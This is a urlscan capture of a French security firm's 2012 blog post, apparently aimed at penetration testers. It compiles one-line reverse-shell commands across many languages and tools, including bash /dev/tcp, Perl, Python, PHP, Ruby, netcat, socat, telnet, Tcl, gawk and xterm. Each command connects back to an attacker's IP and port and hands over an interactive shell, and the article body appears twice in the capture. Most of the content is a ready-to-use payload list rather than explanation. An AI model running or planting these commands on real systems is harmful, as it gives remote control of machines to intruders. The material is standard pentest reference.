www.synetis.com
Open in
urlscan Pro
51.83.99.0
Public Scan
Submitted URL: http://synetis.com/etablir-un-reverse-shell-en-une-ligne
Effective URL: https://www.synetis.com/etablir-un-reverse-shell-en-une-ligne
Submission: On September 07 via manual from CZ — Scanned from FR
Effective URL: https://www.synetis.com/etablir-un-reverse-shell-en-une-ligne
Submission: On September 07 via manual from CZ — Scanned from FR
Form analysis
3 forms found in the DOMGET https://www.synetis.com/
<form aria-label="Search this website" role="search" method="get" class="oceanwp-searchform" id="searchform" action="https://www.synetis.com/" style="width: 150px;" data-hs-cf-bound="true"><input aria-label="Insert search query" type="text"
class="field" name="s" id="s" placeholder="Rechercher"><button aria-label="Submit your search" type="submit" class="search-submit" value=""><i class="fa fa-search" aria-hidden="true"></i></button></form>
GET https://www.synetis.com/
<form aria-label="Rechercher sur ce site" method="get" action="https://www.synetis.com/" class="mobile-searchform" data-hs-cf-bound="true">
<input aria-label="Insert search query" value="" class="field" id="ocean-mobile-search-2" type="search" name="s" autocomplete="off" placeholder="Rechercher">
<button aria-label="Envoyer la recherche" type="submit" class="searchform-submit">
<i class="icon-magnifier" aria-hidden="true" role="img"></i> </button>
</form>
GET https://www.synetis.com/
<form aria-label="Rechercher sur ce site" method="get" action="https://www.synetis.com/" class="sidr-class-mobile-searchform" data-hs-cf-bound="true">
<input aria-label="Insert search query" value="" class="sidr-class-field" id="sidr-id-ocean-mobile-search-2" type="search" name="s" autocomplete="off" placeholder="Rechercher">
<button aria-label="Envoyer la recherche" type="submit" class="sidr-class-searchform-submit">
<i class="icon-magnifier" aria-hidden="true" role="img"></i> </button>
</form>
Text Content
Skip to content Ligne directe 24/7 | Réponse à incident ☎ * Accueil * Identité * Chiffres clés * Comité Exécutif * Nos engagements RSE * Témoignages clients * Expertises * Audit SSI * Audit de sécurité * Audit d’architecture * Audit de configuration * Tests d’intrusion * Audit de code source * Audit organisationnel et physique * Audit de sécurité spécifique * Audit de systèmes industriels * RedTeam * Audit Active Directory * Audit Conformité sous-traitant * Audit ClouD IaaS * Audit d’application mobile * Audit Wifi * Social Engineering * Audit 360° * Audit de conformité SWIFT * CERT-Synetis * CERT * CTI – OSINT * GRC * Gouvernance * Risques * Conformité * Continuité * Identité Numérique * Domaines d’expertises * AM * CIAM * PAM * IGA * Activités * Conseil * Réalisation * Opération * Sécurité Opérationnelle * Sécurité des infrastructures on-Premise & Cloud * Sécurité de l’écosystème Microsoft * Services de sécurité managés : MSSP – SOC * Offres & Services Managés * GoEncrypt * Datarun * SOC by SYNETIS * Formations * Carrière * Suivi de carrière * Vie interne * Témoignages collaborateurs * Nos offres d’emploi * Blog * Actualité * Événements * On parle de nous * CERT Intelligence Corner * Nous contacter * Établir un reverse-shell en une ligne 1. SYNETIS/ 2. Sécurité/ 3. Établir un reverse-shell en une ligne ÉTABLIR UN REVERSE-SHELL EN UNE LIGNE Dans le cadre d’audit de sécurité, d’évaluation et de “pentesting” , il peut arriver qu’une vulnérabilité d’exécution de commande soit découverte (RCE – Remote Command Execution). L’auditeur nécessite rapidement de disposer d’un shell complet interactif en fonction de la complexité/difficulté d’exploiter le RCE découvert. Certains RCE sont soumis à des filtres de caractères, de la sanitization de données entrantes ou bien encore à l’exécution de commande unique. L’évaluateur tente dans un premier temps de créer un nouveau compte système, d’ajouter une nouvelle clé SSH ou un fichier .rhosts pour se connecter à distance sur la machine. Si de telles actions s’avèrent infructueuses, le pentesteur peut s’orienter vers l’obtention d’un reverse-shell interactif au travers du RCE découvert. Cet article qui est une compilation de diverses sources externes et d’analyses internes à SYNETIS permet de faciliter la récupération d’un reverse-shell, le tout via des commandes uniques et « one-line ». L’obtention d’un reverse-shell dépend fortement de la distribution/OS déployée sur la machine cible. Pour l’ensemble des exemples qui suivent, ceux-ci sont compatible Windows/Linux en remplaçant « /bin/sh -i » par « cmd.exe » et vice-versa. Il convient de clarifier dans un premier temps l’intérêt d’utiliser un reverse-shell et ce que c’est. Un « reverse-shell » n’est autre qu’un shell (terminal/console) contrôlé à distance par un utilisateur. Un shell simple se traduit par une attente de connexion sur un port précis par la machine à contrôler. L’utilisateur va se connecter sur ce port et récupérer le terminal interactif. Le « reverse-shell » est l’inverse : c’est l’utilisateur qui place un processus en écoute sur un port précis, et c’est la machine à contrôler qui établie la connexion vers la machine de l’utilisateur pour lui transmettre le contrôle de son terminal. L’intérêt du « reverse-shell »? Plus besoin de se soucier des IPs des machines distantes à contrôler puisque ce sont elles qui se connectent à l’utilisateur. De plus, comme la connexion est sortante à partir de la machine à contrôler, les pare-feux/routeurs bloquent rarement ce type de flux. La plupart des commandes suivantes sont plus ou moins difficiles à la lecture. L’objectif est d’avoir des commandes uniques à exécuter sur la machine à contrôler pour obtenir le reverse-shell, avec redirection de l’entrée standard, sortie standard et sortie d’erreur. Chaque commande est classée par technologie/langage. Pour chacune d’elle, l’auditeur doit placer sa machine en écoute sur un port précis. Cette étape est souvent réalisée par l’utilitaire de maniement des sockets nommé « nectat », disponible sous Windows/Linux. Commande à exécuter côté auditeur (l’argument « -p » peut être optionnel sous Linux en fonction de la version de netcat installée) : nc -l -vv -p <PORT> Il va de soit que pour chacune des commandes de reverse-shell, l’IP à indiquer est celle de la machine de l’auditeur pour que la connexion s’effectue. BASH Certaines versions de Bash permettent de transmettre un reverse-shell via “/dev/tcp/” ou “/dev/udp/” (version compilée avec le drapeau “–enable-net-redirections”). bash -i >& /dev/tcp/<IP>/<PORT> 0>&1 exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196 TCLSH Souvent cité comme alternative à l’utilisation de “/dev/tcp/” et “/dev/udp/” lorsque ceux-ci ne sont pas disponibles, TCL est un langage permettant l’utilisation des sockets et l’exécution de commande. En d’autres termes, adéquat pour établir un reverse-shell. Script TCL d’établissement d’un reverse-shell : #!/usr/bin/tclsh set s [socket <IP> <PORT>]; while {42} { puts -nonewline $s "shell>"; flush $s; gets $s c; set e "exec $c"; if {![catch {set r [eval $e]} err]} { puts $s $r; } flush $s; } close $s; Version one-line : echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh PERL Version dépendante de “/bin/sh” : perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' Version indépendante de “/bin/sh” pour Linux (avec fork) : perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<IP>:<PORT>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' Si le système cible est un Windows (sans fork) : perl -MIO -e "$c=new IO::Socket::INET(PeerAddr,'<IP>:<PORT>');STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;" Une version complète sous forme de script est également disponible ici. PYTHON python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' PHP Pour chaque langage, différentes fonctions d’exécution de commandes locales sont exploitables. Dans le cadre du langage PHP, voici quelques exemples avec différentes fonctions : php -r '$s=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);shell_exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);`/bin/sh -i <&3 >&3 2>&3`;' php -r '$s=fsockopen("<IP>",<PORT>);system("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);popen("/bin/sh -i <&3 >&3 2>&3", "r");' Une version complète sous forme de script est également disponible ici. RUBY One-line dépendante de “/bin/sh” : ruby -rsocket -e'f=TCPSocket.open("<IP>",<PORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Version indépendante de “/bin/sh” pour Linux (avec fork) : ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<IP>","<PORT>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' Version pour Windows (sans fork) : ruby -rsocket -e "c=TCPSocket.new('<IP>','<PORT>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end" NETCAT Version traditionnelle de netcat (paquet netcat-traditional) avec arguments “-c” ou “-e” disponibles (GAPING_SECURITY_HOLE activé) : nc <IP> <PORT> -e /bin/bash /bin/nc.traditional <IP> <PORT> -e /bin/bash /bin/nc.traditional <IP> <PORT> -c /bin/bash Pour toutes les autres version de netcat (notamment netcat-openbsd) qui ont été compilées avec le “GAPING_SECURITY_HOLE” de désactivé : * Via “mkfifo” : rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc <IP> <PORT> > f rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd <IP> <PORT> > f * Via “mknod” : rm -f x; mknod x p && nc <IP> <PORT> 0<x | /bin/bash 1>x rm -f x; mknod x p && /bin/nc.openbsd <IP> <PORT> 0<x | /bin/bash 1>x Cryptcat est l’alternative chiffrée de netcat. TELNET Le double telnet, qui effectue une double connexion à la machine de l’auditeur sur deux ports différents. Le pentesteur doit donc placer deux netcat en écoute sur deux ports (1337 et 1338). Le premier netcat permettra d’entrer les commande et le second de recevoir les résultats. telnet <IP> <PORT1> | /bin/bash | telnet <IP> <PORT2> * Via “mkfifo” : rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet <IP> <PORT> > f * Via “mknod” : rm -f x; mknod x p && telnet <IP> <PORT> 0<x | /bin/bash 1>x SOCAT Dans la ligné des outils pour contrôler les flux réseaux, Socat est une des références. Rarement présent par défaut dans les distributions Linux (uniquement), il est possible de récupérer un reverse-shell par son intermédiaire : socat tcp-connect:<IP>:<PORT> exec:"bash -li",pty,stderr,setsid,sigint,sane Socat permet des connexions bidirectionnelles pour établir des reverse-shell totalement interactifs (avec dead-keys, touches de contrôle…), et supporte nativement le chiffrement SSL, l’IPv6… JAVA r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() Code non-testé, source PentestMonkey. XTERM Une autre méthode permettant d’obtenir un reverse-shell est l’utilisation du transfert d’un terminal xterm. Pour réaliser cela, un X-Server doit être présent sur la machine de l’auditeur. Le paquet “xnest” permet cela aisément sur les systèmes Linux. Il faut de plus autoriser les connexions en provenance de la machine cible. Sur la machine du pentesteur (mise en écoute sur le port 6001) : Xnest :1 xhost +<IPTARGET> Sur la machine cible : xterm -display <IP>:1 Si le système est un Solaris, “xterm” ne fait pas partie par défaut de l’environnement. Son chemin d’accès complet doit être renseigné : /usr/openwin/bin/xterm -display <IP>:1 (G)AWK Reverse-shell via Gawk, basé sur un script de shell simple en provenance du Phrack 62 : #!/usr/bin/awk -f BEGIN { s = "/inet/tcp/0/<IP>/<PORT>" while(42) { do{ printf "shell>" |& s s |& getline c if(c){ while ((c |& getline) > 0) print $0 |& s close(c) } } while(c != "exit") close(s) } } Pour une exécution “one-line” en utilisant “awk” (ou sa variante GNU Gawk) : awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null Il existe une multitude de techniques et méthodes permettant d’acquérir un reverse-shell à partir d’une machine. Beaucoup d’entre elles dépendent des outils et technologies disponibles sur la machine cible. Les quelques exemples précédents sont relativement courants au sein des distributions les plus communes. Cet article a pour vocation de centraliser et de présenter certains de ces vecteurs. Si une autre technique/syntaxe vous vient à l’esprit, n’hésitez pas à enrichir ce billet. Sources & ressources : * PentestMonkey * GNUCitizen * Bernardo Damele blog * LaNMaSteR53 blog * Blog rootshell.ir * SegmentationFault * ASafety Edit du 05/12/2012 : Veuillez excusez les quelques erreurs de syntaxes dans les commandes qui étaient présentes depuis la parution de cet article il y a 3 jours. Le problème a été corrigé et les syntaxes sont à présents toutes valides. Edit du 19/12/2012 : Veuillez une nouvelle fois excuser les erreurs de syntaxes dans les commandes qui ont été générées suite à la migration du nouveau portail web de Synetis. L’ensemble est à nouveau corrigé. Edit du 15/05/2013 : Après des mises à jours du site et serveur, certaines syntaxes avaient une nouvelle fois été transcodée. Celles-ci sont de nouveau corrigées. Yann Cam Consultant Sécurité Dans le cadre d’audit de sécurité, d’évaluation et de “pentesting” , il peut arriver qu’une vulnérabilité d’exécution de commande soit découverte (RCE – Remote Command Execution). L’auditeur nécessite rapidement de disposer d’un shell complet interactif en fonction de la complexité/difficulté d’exploiter le RCE découvert. Certains RCE sont soumis à des filtres de caractères, de la sanitization de données entrantes ou bien encore à l’exécution de commande unique. L’évaluateur tente dans un premier temps de créer un nouveau compte système, d’ajouter une nouvelle clé SSH ou un fichier .rhosts pour se connecter à distance sur la machine. Si de telles actions s’avèrent infructueuses, le pentesteur peut s’orienter vers l’obtention d’un reverse-shell interactif au travers du RCE découvert. Cet article qui est une compilation de diverses sources externes et d’analyses internes à SYNETIS permet de faciliter la récupération d’un reverse-shell, le tout via des commandes uniques et « one-line ». L’obtention d’un reverse-shell dépend fortement de la distribution/OS déployée sur la machine cible. Pour l’ensemble des exemples qui suivent, ceux-ci sont compatible Windows/Linux en remplaçant « /bin/sh -i » par « cmd.exe » et vice-versa. Il convient de clarifier dans un premier temps l’intérêt d’utiliser un reverse-shell et ce que c’est. Un « reverse-shell » n’est autre qu’un shell (terminal/console) contrôlé à distance par un utilisateur. Un shell simple se traduit par une attente de connexion sur un port précis par la machine à contrôler. L’utilisateur va se connecter sur ce port et récupérer le terminal interactif. Le « reverse-shell » est l’inverse : c’est l’utilisateur qui place un processus en écoute sur un port précis, et c’est la machine à contrôler qui établie la connexion vers la machine de l’utilisateur pour lui transmettre le contrôle de son terminal. L’intérêt du « reverse-shell »? Plus besoin de se soucier des IPs des machines distantes à contrôler puisque ce sont elles qui se connectent à l’utilisateur. De plus, comme la connexion est sortante à partir de la machine à contrôler, les pare-feux/routeurs bloquent rarement ce type de flux. La plupart des commandes suivantes sont plus ou moins difficiles à la lecture. L’objectif est d’avoir des commandes uniques à exécuter sur la machine à contrôler pour obtenir le reverse-shell, avec redirection de l’entrée standard, sortie standard et sortie d’erreur. Chaque commande est classée par technologie/langage. Pour chacune d’elle, l’auditeur doit placer sa machine en écoute sur un port précis. Cette étape est souvent réalisée par l’utilitaire de maniement des sockets nommé « nectat », disponible sous Windows/Linux. Commande à exécuter côté auditeur (l’argument « -p » peut être optionnel sous Linux en fonction de la version de netcat installée) : nc -l -vv -p <PORT> Il va de soit que pour chacune des commandes de reverse-shell, l’IP à indiquer est celle de la machine de l’auditeur pour que la connexion s’effectue. BASH Certaines versions de Bash permettent de transmettre un reverse-shell via “/dev/tcp/” ou “/dev/udp/” (version compilée avec le drapeau “–enable-net-redirections”). bash -i >& /dev/tcp/<IP>/<PORT> 0>&1 exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196 TCLSH Souvent cité comme alternative à l’utilisation de “/dev/tcp/” et “/dev/udp/” lorsque ceux-ci ne sont pas disponibles, TCL est un langage permettant l’utilisation des sockets et l’exécution de commande. En d’autres termes, adéquat pour établir un reverse-shell. Script TCL d’établissement d’un reverse-shell : #!/usr/bin/tclsh set s [socket <IP> <PORT>]; while {42} { puts -nonewline $s "shell>"; flush $s; gets $s c; set e "exec $c"; if {![catch {set r [eval $e]} err]} { puts $s $r; } flush $s; } close $s; Version one-line : echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh PERL Version dépendante de “/bin/sh” : perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' Version indépendante de “/bin/sh” pour Linux (avec fork) : perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<IP>:<PORT>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' Si le système cible est un Windows (sans fork) : perl -MIO -e "$c=new IO::Socket::INET(PeerAddr,'<IP>:<PORT>');STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;" Une version complète sous forme de script est également disponible ici. PYTHON python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' PHP Pour chaque langage, différentes fonctions d’exécution de commandes locales sont exploitables. Dans le cadre du langage PHP, voici quelques exemples avec différentes fonctions : php -r '$s=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);shell_exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);`/bin/sh -i <&3 >&3 2>&3`;' php -r '$s=fsockopen("<IP>",<PORT>);system("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);popen("/bin/sh -i <&3 >&3 2>&3", "r");' Une version complète sous forme de script est également disponible ici. RUBY One-line dépendante de “/bin/sh” : ruby -rsocket -e'f=TCPSocket.open("<IP>",<PORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Version indépendante de “/bin/sh” pour Linux (avec fork) : ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<IP>","<PORT>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' Version pour Windows (sans fork) : ruby -rsocket -e "c=TCPSocket.new('<IP>','<PORT>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end" NETCAT Version traditionnelle de netcat (paquet netcat-traditional) avec arguments “-c” ou “-e” disponibles (GAPING_SECURITY_HOLE activé) : nc <IP> <PORT> -e /bin/bash /bin/nc.traditional <IP> <PORT> -e /bin/bash /bin/nc.traditional <IP> <PORT> -c /bin/bash Pour toutes les autres version de netcat (notamment netcat-openbsd) qui ont été compilées avec le “GAPING_SECURITY_HOLE” de désactivé : * Via “mkfifo” : rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc <IP> <PORT> > f rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd <IP> <PORT> > f * Via “mknod” : rm -f x; mknod x p && nc <IP> <PORT> 0<x | /bin/bash 1>x rm -f x; mknod x p && /bin/nc.openbsd <IP> <PORT> 0<x | /bin/bash 1>x Cryptcat est l’alternative chiffrée de netcat. TELNET Le double telnet, qui effectue une double connexion à la machine de l’auditeur sur deux ports différents. Le pentesteur doit donc placer deux netcat en écoute sur deux ports (1337 et 1338). Le premier netcat permettra d’entrer les commande et le second de recevoir les résultats. telnet <IP> <PORT1> | /bin/bash | telnet <IP> <PORT2> * Via “mkfifo” : rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet <IP> <PORT> > f * Via “mknod” : rm -f x; mknod x p && telnet <IP> <PORT> 0<x | /bin/bash 1>x SOCAT Dans la ligné des outils pour contrôler les flux réseaux, Socat est une des références. Rarement présent par défaut dans les distributions Linux (uniquement), il est possible de récupérer un reverse-shell par son intermédiaire : socat tcp-connect:<IP>:<PORT> exec:"bash -li",pty,stderr,setsid,sigint,sane Socat permet des connexions bidirectionnelles pour établir des reverse-shell totalement interactifs (avec dead-keys, touches de contrôle…), et supporte nativement le chiffrement SSL, l’IPv6… JAVA r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() Code non-testé, source PentestMonkey. XTERM Une autre méthode permettant d’obtenir un reverse-shell est l’utilisation du transfert d’un terminal xterm. Pour réaliser cela, un X-Server doit être présent sur la machine de l’auditeur. Le paquet “xnest” permet cela aisément sur les systèmes Linux. Il faut de plus autoriser les connexions en provenance de la machine cible. Sur la machine du pentesteur (mise en écoute sur le port 6001) : Xnest :1 xhost +<IPTARGET> Sur la machine cible : xterm -display <IP>:1 Si le système est un Solaris, “xterm” ne fait pas partie par défaut de l’environnement. Son chemin d’accès complet doit être renseigné : /usr/openwin/bin/xterm -display <IP>:1 (G)AWK Reverse-shell via Gawk, basé sur un script de shell simple en provenance du Phrack 62 : #!/usr/bin/awk -f BEGIN { s = "/inet/tcp/0/<IP>/<PORT>" while(42) { do{ printf "shell>" |& s s |& getline c if(c){ while ((c |& getline) > 0) print $0 |& s close(c) } } while(c != "exit") close(s) } } Pour une exécution “one-line” en utilisant “awk” (ou sa variante GNU Gawk) : awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null Il existe une multitude de techniques et méthodes permettant d’acquérir un reverse-shell à partir d’une machine. Beaucoup d’entre elles dépendent des outils et technologies disponibles sur la machine cible. Les quelques exemples précédents sont relativement courants au sein des distributions les plus communes. Cet article a pour vocation de centraliser et de présenter certains de ces vecteurs. Si une autre technique/syntaxe vous vient à l’esprit, n’hésitez pas à enrichir ce billet. Sources & ressources : * PentestMonkey * GNUCitizen * Bernardo Damele blog * LaNMaSteR53 blog * Blog rootshell.ir * SegmentationFault * ASafety Edit du 05/12/2012 : Veuillez excusez les quelques erreurs de syntaxes dans les commandes qui étaient présentes depuis la parution de cet article il y a 3 jours. Le problème a été corrigé et les syntaxes sont à présents toutes valides. Edit du 19/12/2012 : Veuillez une nouvelle fois excuser les erreurs de syntaxes dans les commandes qui ont été générées suite à la migration du nouveau portail web de Synetis. L’ensemble est à nouveau corrigé. Edit du 15/05/2013 : Après des mises à jours du site et serveur, certaines syntaxes avaient une nouvelle fois été transcodée. Celles-ci sont de nouveau corrigées. Yann Cam Consultant Sécurité Étiquettes : /bin/bash, /bin/sh, Audit, Awk, Bash, cmd.exe, console, Evaluation, Gawk, Java, mkfifo, mknod, nc, netcat, Pentest, Perl, PHP, Python, RCE, Remote Command Execution, Reverse-shell, Ruby, sh, Shell, socat, TCLsh, Telnet, terminal, xterm * Post published:3 décembre 2012 * Auteur/autrice de la publication :Yann CAM YANN CAM Security Consultant VOUS DEVRIEZ ÉGALEMENT AIMER CRYPTANALYSE STATISTIQUE DE MOTS DE PASSE 13 mars 2020 SYNETIS AFTERWORK PARIS SEPTEMBRE 28 septembre 2012 AJOUTER UN SERVEUR AD FS 2.0 À SHAREPOINT 28 février 2012 Synetis© 2023 – Tous droits réservés | Mentions légales | Crédits | Politique de confidentialité | Plan du site | Synetis membre Hexatrust. * LinkedIn * Twitter * Facebook Fermer le menu * ACCUEIL * IDENTITÉ * Engagements RSE * EXPERTISES * Audit de sécurité * CERT * GRC * Identité Numérique * Sécurité Opérationnelle * OFFRES & SERVICES MANAGÉS * GoEncrypt * Datarun * SOC by SYNETIS * CARRIÈRE * Suivi de carrière * Vie interne * Témoignages collaborateurs * Nos offres d’emploi ! * FORMATIONS * ACTUALITÉ * Événements * On parle de nous * BLOG * Contact * * Fermer le menu * ACCUEIL * IDENTITÉ * Engagements RSE * EXPERTISES * Audit de sécurité * CERT * GRC * Identité Numérique * Sécurité Opérationnelle * OFFRES & SERVICES MANAGÉS * GoEncrypt * Datarun * SOC by SYNETIS * CARRIÈRE * Suivi de carrière * Vie interne * Témoignages collaborateurs * Nos offres d’emploi ! * FORMATIONS * ACTUALITÉ * Événements * On parle de nous * BLOG * Contact *